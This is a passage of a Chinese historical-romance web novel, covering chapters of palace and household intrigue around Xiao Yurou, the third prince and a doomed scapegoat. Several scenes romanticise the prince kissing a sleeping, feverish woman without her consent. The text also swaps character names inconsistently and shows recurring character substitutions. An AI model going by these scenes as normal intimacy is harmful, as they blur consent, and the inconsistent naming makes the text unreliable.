萧语柔并不意外,春蝶有孕在身,自然要找个靠山。她望着院中的雨幕,若有所思。 “她的手下再度造访,告诉她穆氏会借着四姐出嫁回府。” 紫萱应了一声,正要收拾茶具,萧瑾急匆匆地走了进来。 “姐姐,穆秋煜入府了。” 萧语柔的手指微微一顿,想起穆秋煜可能是重生的身份。这几个月来他竟然没有再来纠缠,不知是福是祸。 “穆家最近如何?” “没什么异常。”萧瑾摇头,“穆老夫人每日做佛事,穆玉荷和施氏也安分得很。” “这才是最不正常的。”萧语柔望着雨幕,眉头微皱,“穆玉荷和施氏都不是聪明人,侯府出事时她们居然按兵不动,太反常了。” 林婆子匆匆进来,说穆秋煜派人送东西来。 “不必了。”萧语柔直接拒绝,“就说我身子不适,已经歇下了。” 夜里风雨交加,萧语柔睡得极不安稳。梦里都是前世与穆秋煜有关的片段:他温柔的笑容,他的背叛,他手持利刃向她刺来的那一幕...... 她开始发烧,浑身滚烫,在梦中喊着穆秋煜的名字,却是带着恨意。 突然,一缕寒意环绕身旁,她本能地蹭了过去。 “阿柔,你在叫谁的名字?”低沉的声音响起,带着一丝危险的意味。 她还未回答,便被一个深吻封住了唇。那个吻带着惩罚的意味,却又温柔得让人心碎。 “三皇子?”她迷迷糊糊地睁开眼。 回应她的是更加炽热的吻。 与此同时,穆府。 穆秋煜站在书房的窗前,看着瓢泼大雨中的庭院。案桌上摆着一封信,是从南夏传来的。 “少爷,”管家小心翼翼地说,“萧小姐说她已经歇下了。” 穆秋煜转过身,脸上带着若有似无的笑意:“我知道了。” 管家退下后,他拿起那封信,目光落在最后一行字上:时机已到。 他轻轻将信纸撕碎,扔进了烛火中。火光映照在他的脸上,勾勒出一个诡异的弧度。 雨夜中,各方势力暗流涌动。岑陌在战营中布局,穆秋煜在府中谋划,而萧语柔在高烧中辗转反侧。 没人知道,这场大雨过后,龙都将会掀起怎样的风波。 第一百二十一章 回忆 朦胧的晨光透进来,萧语柔缓缓睁开眼睛,一时间有些恍惚。窗外的鸟儿正在枝头婷转啼鸣,清晨的空气中带着淡淡的花香。 昨夜那个旖旎的梦境还在脑海中萦绕,让她不由自主地红了脸,下意识地拉起被子蒙住头。被褥间还残留着一丝他身上若有若无的檀香味道。 可这一动作却让她发现了不对劲 。 她此时衣襟大敞,连贴身的肚兜上那根红绳都已经松开。 萧语柔浑身一僵,小心翼翼地检查了一番,确定并未发生最后一步后,悬着的心才稍稍放下。她靠在床头,脑海中回忆着昨夜的片段。 那个雨夜,他是如何翻窗而入,如何将她拥入怀中。他的吻带着雨水的凉意,却又炙热得让人心慌。 “难道真的是三皇子?”她喃喃自语,“可他不是去了西陲吗?” 正想着,紫萱端着铜盆进来,一眼就看到了小姐微肿的唇瓣和那双含着水光的眸子。她手中的铜盆差点掉落,连忙稳住。 “小姐,您的嘴...”紫萱欲言又止,眼中满是担忧。 “不小心碰到的。”萧语柔打断她的话,声音有些沙哑。她匆匆起身,在紫萱的服侍下梳洗更衣。 铜镜中的少女面若桃花,唇瓣微肿,眼角还带着一丝未褪的红晕。萧语柔看着镜中的自己,心跳不由加快。 用过早膳后,她便往别院去了。一路上,街道两旁的店铺陆续开门,小贩的吆喝声此起彼伏。天气晴好,街上行人渐多,可她的心思却完全不在这些上面。 刚到别院,就见到了林妈妈正在院中打扫。庭院里的海棠开得正好,粉白的花瓣随风飘落。看到她的那一刻,萧语柔终于确定昨夜并非梦境。 “我来找慕伯。”她强装镇定道,声音却微微发颤。 “慕伯今日休息。”林妈妈意味深长地看了她一眼,手中的扫帚顿了顿,“那位大人正在房中歇息,昨夜淋了雨,今早似是发起烧来。五小姐要不要去看看?” 萧语柔这才知道他们是冒雨赶回龙都的。心中一紧,担忧之情涌上心头。 还未等她开口询问,屋内就传来了岑陌清冷的声音:“进来。” 推门而入,就见岑陌一身月白长袍,正坐在轮椅上批阅文书。金冠束发,举手投足间尽显贵气。案几上的烛火摇曳,在他俊美的侧脸上投下明暗不定的光影。 “坐。”他头也不抬,声音却比平日柔和许多,“容我先把这些家书读完。” 萧语柔寻了个位置坐下,目光不自觉地落在他身上。谁能想到这样一个看起来清贵如玉的人,昨夜会如此失控。她的脸又红了几分,连忙低下头。 房间里安静得只剩下纸张翻动的声响和窗外的鸟鸣。时间仿佛过得格外缓慢,萧语柔能清晰地听到自己的心跳声。 “信我都收到了。”岑陌放下笔,抬眼看向她,眸中闪过一丝心疼,“柳家的事,我自有安排。” 萧语柔起身走到他面前,伸手探向他的额头:“听说殿下染了风寒?”她的声音里满是关切。 她的手还未触及,就被他握住,整个人都被拉入怀中。他的体温比平常要高,显然是真的发了烧。 “南方水患,传闻疫病将至。”岑陌凝视着她的眼睛,手指轻轻抚过她的脸颊,“岑涛和穆秋煜已奉命前去。阿柔可是担心?” 听到穆秋煜的名字,萧语柔眉心微蹙,虽转瞬即逝,却未逃过岑陌的眼睛。他的手指微微收紧,眼底闪过一丝暗色。 “三皇子不去吗?”她轻声问,试图转移话题。 “我留在龙都陪你。”他的语气带着一丝寒意,“好不好?”手指滑到她的后颈,似是无意地摩挲着那里的肌肤。 萧语柔察觉到他的情绪变化,主动环住他的脖子,将脸贴在他颈间:“自然好,外面这么危险,殿下还是留在龙都养好腿要紧。” “阿柔...”岑陌将她搂得更紧,声音低沉,“我希望咱们长相厮守。” 话语中藏着的占有与不安,萧语柔听得分明。她在他颈间蹭了蹭,轻声应道:“好。” 岑陌的手抚过她的长发,动作轻柔,却带着不容抗拒的力度。他的呼吸有些灼热,显然是烧得不轻。 “殿下该吃药了。”萧语柔想要起身,却被他按住。 “再陪我一会。”他的声音带着几分倦意,“就一会。” 萧语柔不再动作,任由他抱着。阳光透过窗棂洒在两人身上,将影子拉得很长。 与此同时,大理寺中,萧泰已经招供。他的脸上带着伤痕,眼神却异常平静。供词很快送入宫中,引起一阵暗流涌动。 谢府后院,柳华面对长公主的威胁,目光冰冷:“你想我如何?”他的手指无意识地摩挲着茶杯,杯中的茶水早已凉透。 “很简单,”长公主优雅一笑,眼中却闪着危险的光芒,“替明泽认下那些罪名。” 柳华冷笑一声:“长公主觉得我会答应?” “你会的。”长公主轻抿一口茶,“除非你想看着萧语柔重蹈她母亲的覆辙。” 柳华的手猛地一颤,茶水洒在衣襟上,却浑然不觉。他的眼中闪过一丝痛萧,随即又恢复了平静。 “你敢动她?”他的声音低沉得可怕。 “我为什么不敢?”长公主放下茶杯,“你很清萧我的手段。” 柳华闭上眼,良久才道:“给我三天时间。” 长公主起身,裙摆拂过地面发出窸窣声响:“记住,只有三天。” 待长公主离开后,柳华才缓缓睁开眼,眼中满是疲惫。他拿出一封泛黄的信件,手指轻轻抚过上面的字迹。 “阿柔,对不起...”他的声音几不可闻,“我终究还是没能保护好她。” 夜幕降临,萧语柔回到府中,却见紫萱神色慌张地等在门口。 “小姐,不好了!”紫萱拉着她的手,“老爷晕倒了!” 萧语柔心头一紧,连忙往柳华的院子跑去。一路上,她的心跳得厉害,总觉得有什么不好的事情要发生。 第一百二十二章 下药 “好。”柳华的声音很轻,却带着决绝。他站在书房中央,窗外的阳光透过窗棂在地上投下斑驳的影子,仿佛命运给他画下的囚笼。 死亡的恐惧如同一只无形的手,扼住他的喉咙。汗水顺着额角滑落,他能感受到自己的心跳声越来越快,却又无可奈何。自从被喂下蝮虺那天起,他就知道自己终有一死。 想到这些年追随明泽,替她做了多少见不得人的勾当,如今能为家族赴死,倒也算是一种解脱。只是不知道,死后是否真的能得到解脱?那些年在深夜里惊醒时浮现的面孔,那些被他亲手毁掉的人,会不会在地府里等着他? 长公主站在窗边,阳光为她镀上一层柔和的金边,却掩盖不住她眼中的冷意。她看着柳华,眼中闪过一丝了然。当初明泽看中这个男人,果然有她的道理。这样的人,即便面对死亡,也能保持最后的体面。 “你很清萧自己的处境。”长公主的声音带着几分赞赏,“比起那些哭天抢地求饶的人,你倒是让本宫刮目相看了。” 柳华没有说话,只是微微垂下头。书房里的空气仿佛凝固了,连呼吸都变得困难。 明泽从屏风后走出来,裙裾摩擦地面发出轻微的声响。她走到柳华面前,脸上带着几分歉意:“对不起,我也不想...” “公主不想做却还是做了的事情太多了。”柳华冷笑一声,眼中满是厌恶,“从你第一次让我去对付那个无辜的商人开始,到现在要我替你背负这些罪名,你有哪一次是真的不想做的?” 明泽的手指微微颤抖,她强压下心中的怒火:“柳华,你别忘了,当初若不是我,你早就死在那场瘟疫中了。” “是啊,你救了我。”柳华抬起头,目光灼灼,“可你救我,不过是为了让我成为你的傀儡。这些年来,我替你杀人放火,陷害忠良,甚至连自己的亲人都不能放过。明泽,你可知道我有多恨你?” 明泽脸上的表情瞬间冷了下来:“既然如此,且行且珍惜这最后时光。你的红颜知己马上就到。”她转身离去,裙摆翻飞,带起一阵冷风。 长公主看着这一幕,嘴角勾起一抹若有似无的笑意:“明泽这丫头,终究还是太感情用事了。” 柳华站在空荡荡的院子里,方才的硬气消失殆尽,恐惧如潮水般涌来。他能感觉到体内的蝮虺在蠢蠢欲动,那种撕心裂肺的疼痛随时可能降临。 内心有个微弱的声音在呼唤:去求她吧,毕竟夫妻一场,她对你一片真心... 但这个念头刚冒出来就被他狠狠掐灭。他还记得当初明泽是如何一步步将他拖入深渊的,记得她是如何用甜言蜜语麻痹他的良知,让他成为她手中的刀。 他拖着沉重的脚步走进书房,在下人的监视下开始写认罪书。笔尖划过纸面,柳华的脸色越来越苍白。汗水打湿了衣襟,他能感觉到体内的蝮虺在翻腾,每一个字都像是在剜他的心。 突然,眼前一暗。柳华的手一抖,墨汁洒在纸上,晕开一片漆黑。 “就快了...”他以为是明泽派人来催促。 “谢驸马似乎不太想死?”一个陌生的声音响起。 柳华抬头,发现院子里的下人都已昏迷,而始作俑者正站在他面前。那是一个身着青衣的男子,面容普通,却给人一种深不可测的感觉。 “你是谁?”柳华警惕地问道。 “一位来替你解围的人。”青衣男子笑了笑,“或者说,一个想要看到明泽倒台的人。” 柳华的心跳漏了一拍:“你是...” “现在不是说这个的时候。”青衣男子打断他,“你只需要知道,我可以救你,但你必须答应我一个条件。” “什么条件?” “等你安全了再说。”青衣男子从袖中取出一个小瓶,“喝下它,可以暂时压制蝮虺。至于逃走的路线,我已经安排好了。” 柳华犹豫了。他知道这可能是个陷阱,但比起等死,他更愿意赌一把。 就在这时,外面传来一阵嘈杂声。 “着火了!着火了!” 浓烟很快弥漫了整个院子。在混乱中,青衣男子拉着柳华消失在夜色里。 消息很快传到了明泽那里。 “什么?起火了?柳华呢?”明泽推开身边的面首,顾不得整理衣衫。 “回禀公主,火势太大,消防队员闯不进去...” 明泽只觉得头晕目眩,没了柳华这个替死鬼,她该去哪里再找一个完美的棋子?更重要的是,柳华知道太多她的秘密,如果他活着... 皇后的眼线很快发现了逃走的柳华。她心思活络起来,柳华背后的柳家在文人中颇有声望,若能利用得当,说不定能为自己谋得一个皇子... 长公主得知消息时,已经预见到了明泽的结局。她靠在软榻上,手指轻轻敲打着扶手。 “她若来求,就说一切有本宫,叫她淡定点。”长公主的声音带着笑意,却让人不寒而栗。 微澜有些担忧:“要是她发现您在套路她...” “她不会有机会的。”长公主轻笑,“不过是看她还有点用处,苟且偷生几天而已。对了,宁远伯府那个小姑娘,总让我不安心。给明泽传个话,就说她功亏一篑,都怪那位妹子。” 微澜离开后,一瘸一拐地找到自己的信鸽,将它放飞。夜色中,白色的信鸽划过一道优美的弧线,消失在远方。 定远公府内,萧语柔正在为钱涛针灸。 檀香袅袅,少女身上淡淡的幽香萦绕在钱涛鼻尖。他看着她专注的侧脸,心中泛起一丝涟漪。 萧语柔的手法很轻柔,每一针都恰到好处。她的医术在龙都也算小有名气,但真正让人折服的,是她那颗悲天悯人的心。 “好了。”萧语柔收起最后一根银针,“大公子的身子已经大好,不过这一两年还是要注意...” 钱涛打断她:“五妹妹,父亲从西陲带回了一支玉髓参,不如留下来喝杯茶?” 萧语柔犹豫片刻,最终还是坐了下来。她知道钱涛的心思,但她现在无暇顾及儿女情长。 钱涛亲自为她烹茶,举手投足间尽显风雅。茶香四溢,他看着萧语柔的侧脸,心中满是柔情。 一盏茶的功夫,钱涛说了许多,从诗词歌赋到天南海北,无一不精。他想要展示自己的才学,却不知道萧语柔的心思根本不在这里。 萧语柔等了许久不见医书送来,起身告辞。她知道钱涛是在找借口留她,但她不能再耽搁了。 “五妹妹很讨厌我吗?”钱涛眼中闪过一丝黯然。 “不是...”萧语柔正想解释,钱涛已经站起身:“我送你。” 直到萧语柔的马车消失在视线里,钱涛脸上的温柔才渐渐褪去。他转身走进书房,取出一封信,上面写着:“计划已经开始,请静候佳音。” 第一百二十三章 离家出走 “不用管这件事。”钱涛的语气平淡,手指轻轻敲击着桌面,窗外的梧桐桂随风飘落,在地上画出斑驳的影子。 钱忠站在一旁,看着自家大哥这副云淡风轻的模样,心底却涌上一阵寒意。他这个大哥向来温和,对名利看得极淡,可一旦认定了什么,便会不动声色地倾尽所有去守护。这样的执着,往往令人不寒而栗。 “大哥,三皇子那边......”钱忠欲言又止,手指不自觉地绞在一起。 “三皇子孤立无援,母族势微,又不得圣心。”钱涛的目光依旧停留在窗外,语气中带着几分若有所思,“边关战事频繁,你觉得他能撑多久?” 钱忠猛地站起身,椅子在地上划出刺耳的声响:“大哥!你疯了不成?若是七妹知道你对三皇子有这般心思,只怕......” “我不会动手。”钱涛转过身,打断他的话,眸中闪过一丝血色,“只需等待。”桌上的茶水已经凉透,他却仿佛毫无察觉,端起来轻抿一口。 钱忠看着大哥这副模样,心中不由得一阵发寒。等到岑陌再也护不住那个人,自然会落入他的掌中。这个想法让他不寒而栗。 院子里传来一阵脚步声,打断了两人的谈话。钱涛示意钱忠噤声,继续望着窗外的风景,仿佛方才的对话从未发生过。 ----- 萧语柔刚从马车上下来,耳边就传来一阵欢快的脚步声。她头也不回,身形轻巧地往旁边一闪,果然看见岑燕燕扑了个空,踉跄几步才站稳。 “妹妹太无情了!”岑燕燕噘着嘴抱怨,眼中闪烁着狡黠的光芒,“都不让姐姐抱抱,是不是嫌弃姐姐了?”她的裙摆沾了些许尘土,显然是刚从哪里疯跑回来。 萧语柔瞥了眼她背着的包袱,里面鼓鼓囊囊的,显然塞了不少东西:“又要离家出走?” “什么叫又!”岑燕燕叉着腰,脸上写满了不服气,“这次本郡主是认真的,再也不回来了。那个老顽固,我看都不想看见他!” 说完,她利落地翻身上马,头也不回地绝尘而去,扬起的尘土在阳光下闪烁着金色的光芒。 萧语柔立即示意萧瑾跟上,又让紫萱去赵王府报信。这个节骨眼上出城,实在不是明智之举。她望着岑燕燕远去的背影,眉头微皱。 府门前的石狮子在阳光下投下长长的影子,萧语柔刚迈步进门,就见廊下挂满红绸,为桂婉柔的婚事准备。鲜艳的红色在风中轻轻摇曳,衬得整个院子喜气洋洋。 “你娘出嫁那年,府上连一根红绸都没挂。” 桂成林的声音忽然在身后响起,带着几分意味深长。萧语柔强压下心中涌动的杀意,转身行礼,面上依旧挂着得体的笑容。 “你和你娘性子不同。”桂成林盯着她,目光如刀,“她太过善良。” “舅舅很了解母亲。”萧语柔浅笑,眼底却是一片冰冷。 桂成林想起往事,眼中闪过一丝柔软。桂芷是嫡女中年纪最小的,天真烂漫,不谙世事。小时候总爱跟在几个庶兄后面玩耍,长大后也对他们恭敬有加。 他原以为妹妹会一直这般温顺,却没想到她会为了一个穷小子,不惜抛弃侯府嫡女的身份。想到这里,那抹柔软很快消失,取而代之的是一片冰冷。 “语柔,别忘了府上还有老夫人。”桂成林冷声道,“你虽要出嫁,但老夫人待你情深,莫要辜负了她的期望。” 说完转身离去,留下萧语柔站在原地。她虽不明白桂成林话中深意,但显然是在用老夫人来威胁她。院子里的风忽然变得凉了几分,红绸在风中猎猎作响。 天色渐暗,暮色四合,萧瑾还未归来,赵王府却派人来请。 “请县主务必走一趟。”来人是岑燕燕的贴身丫鬟,脸上带着几分焦急。 慕氏不放心,坚持同行。马车在龙都的街道上缓缓前行,两旁的灯笼逐渐亮起,将整条街道映照得如同白昼。 到了赵王府,还未进门就听见院内传来激烈的吵闹声。 “就算粉身碎骨也要挣脱束缚!”岑燕燕的声音中带着哭腔。 “我打断你的腿!”赵王怒吼。 “你打断我的腿,我还有手!” “孽女!” “老顽固!” 萧语柔看向一旁脸色发黑的萧瑾,后者无奈解释:郡主出城后被追上,为躲避追兵入山,还惹来了一只老虎。自己救人时,正巧被明泽公主府的人看见。 看来明泽是想拿岑燕燕的清誉要挟赵王。院子里的争吵声还在继续,一只五彩锦鸡昂首阔步从赵王脚边走过,还留下一泡“礼物”。 赵王额角青筋直跳,岑燕燕赶紧抱起锦鸡:“父王,它还小呢!” “我真是上辈子杀人,这辈子......” “呜呜呜,你骂母妃......” 萧语柔见状,赶紧转移话题:“王爷找我来,是为了明泽公主府的事?” 赵王叹了口气,将人都赶了出去。院子里终于安静下来,只剩下风吹过树桂的沙沙声。 “本王想请县主帮个忙。”他直视萧语柔,眼神中带着几分无奈,“让棠棠暂住侯府。本王知道你的能力,携幼弟入京,为他谋得秦将军门下,又能将穆氏赶出侯府,断了桂成林的前程。” 萧语柔心中一凛,没想到自己行事被看得如此透彻。她面上依旧平静,心中却已经警惕起来。 “放心,这些信息都能扒出来,只有本王。”赵王望着夜空,声音低沉,“这些年在京中步步为营,若无几分本事,早就死了。如今朝堂内忧外患,世家把持朝政,便是圣上也不敢轻举妄动。本王只能以庸碌示人,却还是躲不过有心人的算计。” 他转头看向萧语柔,目光深邃:“这位三皇子倒是个妥当的人才。” 第一百二十四章 炖鸡 萧语柔站在赵王面前,心中五味杂陈。窗外的雨丝绵绵,打在琉璃瓦上发出细碎的响声。 “王爷,赵明远恐怕并非良配。”她轻声开口,目光落在案几上那盏未动的茶水上。 赵王眉头微蹙:“县主为何如此说?本王派人查过,此人品行端正,其父更是朝中重臣。” “他心中早有所属。”萧语柔直视赵王的眼睛,看着那双威严的眸子里闪过一丝诧异,“王爷至今未曾续弦,想必是因王妃在您心中无可替代。若有人强行为您指婚,您会如何?” 殿内一时寂静,只余窗外雨声淅沥。赵王的手指停在了案几上,眼底浮现出一抹复杂的神色。良久,他才缓缓开口:“即便不喜,本王也不会亏待。” “是啊,不会亏待。”萧语柔苦笑,指尖无意识地摩挲着衣袖,“可王爷想过没有,一个被丈夫视若无物的女子,纵使锦衣玉食,内心也是孤寂的。棠棠性子活泼,若日日独守空闺,怕是比死更难受。” 殿内的气氛骤然凝重,赵王眸色渐深,眼中闪过一丝怒意:“你就不怕本王误会你别有用心?” “王爷既然让我照看郡主,想必是信任我。”萧语柔神色淡然,语气却坚定,“王爷若不信,大可查查路公子身边那位形影不离的表妹。” 赵王站起身,负手而立,目光投向窗外。雨势渐大,檐下的水珠串成了帘。他沉吟良久:“本王会再考虑。” 与此同时,御梅园的凉亭里,岑燕燕正和萧瑾大眼瞪小眼。雨水打湿了凉亭的栏杆,空气中弥漫着淡淡的青草香。 “你想要什么?我送你。”岑燕燕大方道,手指轻抚着肩头锦鸡的羽毛。 萧瑾瞥了眼那只神气活现的锦鸡,嘴角勾起一抹意味深长的笑:“炖鸡最好吃,尤其是五彩锦鸡。” 锦鸡顿时炸毛,张嘴就要啄人。羽毛竖起,显得格外威风。 萧瑾手按刀柄,寒光一闪,锦鸡吓得躲进岑燕燕怀里,发出几声委屈的鸣叫。 “萧瑾!”岑燕燕嗔怒,“你吓到它了!” 萧瑾耸耸肩,收起刀:“我只是想试试它的胆量。” 雨渐渐小了,阳光透过云层洒下斑驳的光影。岑燕燕看到萧语柔走来,立刻迎了上去。 “语柔!王爷和你谈了何事?”她迫不及待地问,眼中闪烁着期待的光芒。 “王爷问我能否接郡主去侯府小住。”萧语柔轻声说,目光中带着几分担忧。 岑燕燕欣喜若狂,转身就要收拾行李。她蹦蹦跳跳的样子,像个无忧无虑的孩子。 谁知第二日,赵明远竟主动邀她游船。消息传来时,岑燕燕正在梳妆。 “小姐,这胭脂太艳了些。”丫鬟小心提醒。 “不会的。”岑燕燕执拗地又添了一笔,“今日要见路公子,我要打扮得漂亮些。” 她对着铜镜反复端详,确保每一处都完美无缺。发髻绾得精致,新裁的湖水色裙裾上绣着细密的花纹,连手腕上的镯子都特意换了新的。 可谁知一上船,就看见赵明远表妹也在。那女子穿着艳丽,眼波流转间带着几分轻蔑。 “哎呀,郡主怎么带只臭鸡来?”表妹掩鼻,声音尖细刺耳,“来人,把这畜生抓去炖了!” 几个下人蜂拥而上,吓得锦鸡四处乱飞。羽毛纷纷扬扬地落下,船舱内一片混乱。 “住手!”岑燕燕怒喝,声音里带着几分颤抖。 可那些人充耳不闻,反而将她挤到了船边。船身晃动,岑燕燕一个踉跄。 “砰”的一声,她落水了。 华服浸透,沉重异常。水中冰冷刺骨,她挣扎着想要浮起,却被衣裙拖住。耳边是嘈杂的喊声,还有表妹尖利的笑声。 远处酒楼里,赵王猛地站起,茶盏应声而碎。 “王爷莫急。”萧语柔按住他的袖子,“路少爷定会护你周全。” 果然,赵明远很快命人救起了岑燕燕。她浑身湿透,狼狈不堪,细致的粉黛已然泪洗。发髻散乱,新裁的裙子也沾满了污渍。 “为什么带着你表妹来?”她倔强地问,声音里带着哽咽。 赵明远看着她泛红的眼眶,心中微动。阳光下,少女湿漉漉的样子萧萧可怜,让人不忍苛责。但他还是冷声道:“我请郡主来,是想说清萧。即便成婚,绝不会染指于你,你只能做个挂名的路家少夫人。” 岑燕燕紧紧攥着拳头,指甲深深陷入掌心。眼泪在眼眶里打转,却倔强地不肯落下。 “你...你什么意思?”她声音颤抖。 “意思很简单。”赵明远避开她的目光,“我不会爱上你,也不会给你名分以外的东西。如果郡主觉得委屈,现在退婚还来得及。” 岑燕燕呆立在原地,周围的空气仿佛凝固了。她感觉浑身发冷,不知是因为湿透的衣裳,还是因为心底那股寒意。 远处酒楼上,赵王的脸色阴沉得可怕。萧语柔轻叹一声,知道这场婚事怕是要黄了。 “王爷...”她刚要开口。 “回宫。”赵王冷冷打断,“本王倒要看看,是谁给赵明远的胆子,敢这样对待本王的女儿。” 萧语柔跟在赵王身后,看着他阴沉的背影,心中暗暗为赵明远担忧。虽说他无情,但至少说出了真相。只是这样的真相,对天真烂漫的岑燕燕来说,未免太过残酷。 船上,岑燕燕的锦鸡终于找到机会,狠狠啄了表妹一口。表妹尖叫着后退,一个不稳,也跌入了水中。 “救命!救命啊!”她扑腾着,溅起阵阵水花。 赵明远皱眉,正要命人相救,却见岑燕燕已经跳下船去。 “你干什么?”他惊呼。 “救人。”岑燕燕头也不回,“就算她可恶,我也不能见死不救。” 看着她毫不犹豫地游向表妹,赵明远眼中闪过一丝异色。这个被他伤透心的女孩,竟还有如此胸襟。 岸边已经聚集了不少看热闹的人,指指点点议论纷纷。岑燕燕顾不得这些,拼命将表妹往岸边拖。直到两人都被救上岸,她才脱力般坐在地上,浑身发抖。 锦鸡飞到她肩头,轻轻蹭了蹭她的脸颊,仿佛在安慰。岑燕燕勉强笑了笑,摸了摸它湿漉漉的羽毛。 “郡主...”赵明远递来一件外袍,欲言又止。 岑燕燕接过外袍,却没有看他:“多谢路公子。不过以后,还是不要见面了。” 她站起身,挺直脊背,一步步走向岸边等候的马车。背影清瘦却倔强,仿佛要将所有委屈都咽下。 马车缓缓驶离,赵明远站在原地,久久未动。直到表妹走到他身边,他才回过神来。 “表哥,你真的要和她退婚吗?”表妹小声问。 赵明远没有回答,只是望着马车消失的方向,眼中神色莫测。 第一百二十五章 勾引 岑燕燕忍不住笑出声来,眼中闪烁着狡黠的光芒。她靠在画舫的栏杆上。阳光透过薄纱帘子洒在她身上,为她镀上一层金边,衬得她明艳动人。 赵明远站在不远处,目光落在岑燕燕身上。那个曾经对他言听计从的小姑娘,如今却变得如此桀骜不驯。 “抓住那只该死的鸡!”路家表妹指着岑燕燕身边的大公鸡,歇斯底里地喊道,“我要它死!这畜生竟敢啄我的裙子!” 几个下人面面相觑,犹豫着要不要上前。岑燕燕眼疾手快,一拳就将冲在最前面的打倒在地。那人捂着鼻子哀嚎,鲜血从指缝中渗出。 “谁敢动我的鸡,”她叉着腰,气势十足,眼神凌厉地扫过在场每个人,“信不信我让路丞相掀了你们赵王府?” 路家表妹气得浑身发抖,脸色由白转红,又由红转青,说不出一句完整的话。她指着岑燕燕的手都在颤抖,眼泪在眼眶中打转。 “郡主,这事没必要闹得这么大......”赵明远皱眉劝道,声音中带着几分无奈,“表妹也是一时气急。” 岑燕燕冷笑一声,三两下扯掉身上繁重的外衣和头上的钗环,露出里面利落的装扮。她随手将那些价值连城的首饰丢在甲板上,发出清脆的响声。 “一群人欺负一只鸡,”她抱起自己的大公鸡,瞥了赵明远一眼,眼中带着几分嘲讽,“赵明远,我对你已心如死灰。” 赵明远的眼神瞬间暗了下来,他握紧的拳头在袖中微微发抖。曾经那个对他百依百顺的小姑娘,如今说不喜欢就不喜欢了。 就在这时,一艘小船悠悠划来,打破了画舫上剑拔弩张的气氛。船上的人懒洋洋地撑着船桨,笑着问:“要坐船吗?” “钱忠!”岑燕燕眼前一亮,脸上的怒气瞬间消散。 不等赵明远开口,她已经抱着鸡跳上了小船。动作之快,让人措手不及。小船剧烈摇晃了几下,差点翻了。 钱忠稳住船身,懒洋洋地看了眼赵明远,漫不经心道:“碰巧路过,可不是特意来找你的。” “我这么美,难道不值得你特意来找?”岑燕燕不满地嘟囔,怀里的大公鸡也跟着叫了一声,仿佛在附和她的话。 “你?美?”钱忠一脸震惊,夸张地后退一步,“你确定不是在说你怀里那只鸡?” 岑燕燕咬牙切齿,举起怀里的鸡:“大珍,给我啄他!” 大公鸡立刻昂首挺胸,朝着钱忠的屁股狠狠啄去。钱忠连忙躲闪,却因为船太小而失去平衡。 “岑燕燕!”钱忠跳起来大叫,“你这个疯婆娘!” 小船剧烈摇晃,两人一鸡在船上打闹成一团。岑燕燕的笑声清脆悦耳,在河面上回荡。 画舫上,路家表妹擦干眼泪,娇滴滴地说:“表哥,总算摆脱那个野蛮女人了。”她整理了一下被弄乱的裙摆,又补了补妆。 见赵明远目光仍停留在远处的小船上,她不屑地撇了撇嘴:“看她那样子,一点闺秀气质都没有,还跟男人打打闹闹,真是丢人。” “别说了。”赵明远收回视线,声音有些低沉,“她以后与我们再无瓜葛。” 路家表妹没听出他语气中的异样,开心地说:“是啊,表哥只要有霜儿就够了!” 赵王临行前,看着萧语柔,语气中带着几分无奈:“棠棠从小没了娘,是我太过溺爱,才让她变成这样。日后还请县主多多照看。” 萧语柔站在院中,看着赵王疲惫的面容。这位曾经意气风发的王爷,如今也显出了几分老态。 “王爷这是要去哪?”她轻声问道。 “西戎作乱,皇上命我去镇守边关。”赵王的语气平静,仿佛只是说一件寻常事。 萧语柔心知肚明,这是皇帝对赵王起了疑心,故意支开。但她只是说:“祝王爷马到功成。” “三皇子是个好人,”赵王意味深长地说,目光中带着几分探究,“你可莫要辜负了他。” 萧语柔有些哭笑不得,怎么人人都觉得她会辜负三皇子?她低头整理着衣袖,掩饰内心的波动。 想起初见岑陌时,那个清冷孤傲的男子,即便旧疾发作也不肯示弱。就像一朵开在荆棘丛中的花,让人忍不住想去采撷。 如果他被欺负得眼眶发红...... 萧语柔赶紧打断自己危险的想法,却控制不住脑海中浮现的画面。她的耳尖悄悄红了起来。 不过,三皇子腿脚不便,若是成亲后...... “啪”地一声,萧语柔用力拍了下自己的额头,试图驱散那些不该有的想法。 “小姐,钱四公子已经送郡主回府了。”紫萱进来时,看到自家小姐眼神发亮,像只准备捕食的狼。她不由得缩了缩脖子,暗自为三皇子担心。 萧语柔轻咳一声,掩饰自己的失态:“咱们该撤了。” 回到府中,林婆子来报:“穆夫人来为四小姐清点嫁妆了。” “这些自有小舅妈和玉姨娘处置。”萧语柔淡淡道,手指有一下没一下地敲着桌面。 “三夫人说,四小姐陪嫁寒酸,她早就资助了一笔。您随意准备点添妆就成。”林婆子小心翼翼地说道。 萧语柔明白,小舅妈是在堵住侯府和穆氏的嘴,以防他们擅自做决定。 不过穆氏当初"弄丢"了她五箱黄金,如今哪还好意思开口要嫁妆。想到这里,她嘴角勾起一抹冷笑。 “告诉小舅妈我知道了。”她将今日买的东西分了些给林婆子,“交给小姨妈。” 又给几个妹妹各自挑了礼物,萧语柔便去了浴房。热气氤氲中,她解开发髻,任由长发垂落。 看着升腾的水汽,她不由想起上次在岑陌别院,他沐浴后的模样......湿润的发丝贴在脸颊上。 萧语柔赶紧闭上眼睛,不敢再想。可那画面却挥之不去,让她心跳加速。 夜里,她迷迷糊糊感觉有人靠近,下意识推了一把。被子里暖烘烘的,让她昏昏欲睡。 “别勾引我了......”她含糊不清地说。 “阿柔,勾引什么?”熟悉的声音在耳边响起,带着几分笑意。 “勾引我为所欲为啊......”她傻笑着,手指无意识地在空中画着圈,“得将你捆个结实,瞧你心痒却摸不着,看你红着眼眶求我......” 若不是她说完还傻笑,岑陌真以为她是在故意撩拨。他的呼吸变得有些急促,手指微微发颤。 但她对自己竟有这样的心思......这个认知让他既惊讶又心动。 岑陌感受到身体的变化,她说得对,他既要克制,又忍不住靠近时的颤抖。想要她,又不愿毁她清誉。 甚至,真想求她...... “阿柔......” 他轻叹一声,吻上她的唇。 第一百二十六章 销魂 萧语柔睁开眼睛的第一件事,就是检查自己的衣襟。 指尖触碰到散乱的衣襟,她猛地缩回手,仿佛被烫到一般。床榻上还残留着淡淡的龙涎香,那是岑陌身上独有的气息。 “怎么会这样......”她蜷缩在床上,脑海中不断回忆昨夜的画面。岑陌的面容上泛着不正常的红晕,修长的脖颈上还留着暧昧的痕迹。他的呼吸灼热,眼神迷离,与平日里那个清冷疏离的三皇子判若两人。 萧语柔把脸埋进被子里,耳根发烫。她不敢细想昨夜发生的一切,只觉得浑身发软,连抬手的力气都没有。 “小姐,该起床梳洗了。”紫萱推开房门,“定远公府的人在老夫人那边,说要见您。” 